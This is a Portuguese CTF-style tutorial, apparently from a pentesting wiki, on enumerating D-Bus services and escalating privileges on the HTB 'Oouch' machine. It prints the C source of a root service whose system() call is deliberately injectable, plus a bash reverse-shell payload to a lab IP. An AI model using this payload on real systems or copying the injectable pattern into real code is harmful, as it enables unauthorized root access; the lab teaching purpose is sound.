D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por serviços privilegiados para expor serviços relevantes em todo o sistema, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. Nota-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
Os serviços no D-Bus são definidos pelos objetos e interfaces que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um caminho de objeto. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface org.freedesktop.DBus.Introspectable, que possui um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui nos métodos enquanto omite propriedades e sinais.
Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada gdbus para fácil invocação de métodos expostos pelo D-Bus em scripts, e D-Feet, uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
sudoapt-getinstalld-feet
Na primeira imagem, os serviços registrados com o barramento de sistema D-Bus são mostrados, com org.debin.apt especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço por objetos, exibindo interfaces, métodos, propriedades e sinais para objetos escolhidos, vistos na segunda imagem. A assinatura de cada método também é detalhada.
Uma característica notável é a exibição do ID do processo (pid) e da linha de comando do serviço, útil para confirmar se o serviço é executado com privilégios elevados, importante para a relevância da pesquisa.
O D-Feet também permite a invocação de métodos: os usuários podem inserir expressões Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço.
No entanto, observe que alguns métodos requerem autenticação antes de permitir que os invoquemos. Ignoraremos esses métodos, uma vez que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar.
Também note que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 se um usuário deve ser autorizado a realizar certas ações ou não.
Do wikipedia: Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome de barramento especial chamado nome de conexão único. Nomes de barramento desse tipo são imutáveis—é garantido que não mudarão enquanto a conexão existir—e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão a esse barramento terá um nome de conexão único atribuído, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos—de outra forma proibido.
Informações do Objeto de Serviço
Então, você pode obter algumas informações sobre a interface com:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
List Interfaces of a Service Object
Você precisa ter permissões suficientes.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Note como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro tree (veja a seção anterior):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Note o método .Block da interface htb.oouch.Block (a que nos interessa). O "s" das outras colunas pode significar que está esperando uma string.
Interface de Monitoramento/Captura
Com privilégios suficientes (apenas os privilégios send_destination e receive_sender não são suficientes) você pode monitorar uma comunicação D-Bus.
Se você sabe como configurar um arquivo de configuração D-Bus para permitir que usuários não root capturem a comunicação, por favor entre em contato comigo!
Diferentes maneiras de monitorar:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
No exemplo a seguir, a interface htb.oouch.Block é monitorada e a mensagem "lalalalal" é enviada através de uma má comunicação:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Você pode usar capture em vez de monitor para salvar os resultados em um arquivo pcap.
Filtrando todo o ruído
Se houver informações demais no barramento, passe uma regra de correspondência assim:
Como usuário qtc dentro do host "oouch" do HTB, você pode encontrar um arquivo de configuração D-Bus inesperado localizado em /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Nota da configuração anterior que você precisará ser o usuário root ou www-data para enviar e receber informações através desta comunicação D-BUS.
Como usuário qtc dentro do contêiner docker aeb4525789d8, você pode encontrar algum código relacionado ao dbus no arquivo /code/oouch/routes.py. Este é o código interessante:
Como você pode ver, está conectando a uma interface D-Bus e enviando para a função "Block" o "client_ip".
Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está ouvindo na conexão D-Bus por endereços IP e chamando iptables via função system para bloquear o endereço IP fornecido.
A chamada para system é vulnerável intencionalmente a injeção de comandos, então um payload como o seguinte criará um shell reverso: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Explore-o
No final desta página, você pode encontrar o código C completo da aplicação D-Bus. Dentro dele, você pode encontrar entre as linhas 91-97 como o caminho do objeto D-Buse nome da interface são registrados. Esta informação será necessária para enviar informações para a conexão D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Além disso, na linha 57 você pode encontrar que o único método registrado para esta comunicação D-Bus é chamado Block(É por isso que na seção seguinte os payloads serão enviados para o objeto de serviço htb.oouch.Block, a interface /htb/oouch/Block e o nome do método Block):
O seguinte código python enviará a carga útil para a conexão D-Bus para o método Block via block_iface.Block(runme) (note que foi extraído do bloco de código anterior):
dbus-send é uma ferramenta usada para enviar mensagens para o “Message Bus”
Message Bus – Um software usado pelos sistemas para facilitar a comunicação entre aplicações. Está relacionado ao Message Queue (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente.
A tag “-system” é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão).
A tag “–print-reply” é usada para imprimir nossa mensagem de forma apropriada e receber quaisquer respostas em um formato legível por humanos.
“–dest=Dbus-Interface-Block” O endereço da interface Dbus.
“–string:” – Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens, como double, bytes, booleans, int, objpath. Dentre estes, o “object path” é útil quando queremos enviar um caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) neste caso para passar um comando para a interface em nome de um arquivo. “string:;” – Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO.
Observe que em htb.oouch.Block.Block, a primeira parte (htb.oouch.Block) refere-se ao objeto de serviço e a última parte (.Block) refere-se ao nome do método.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}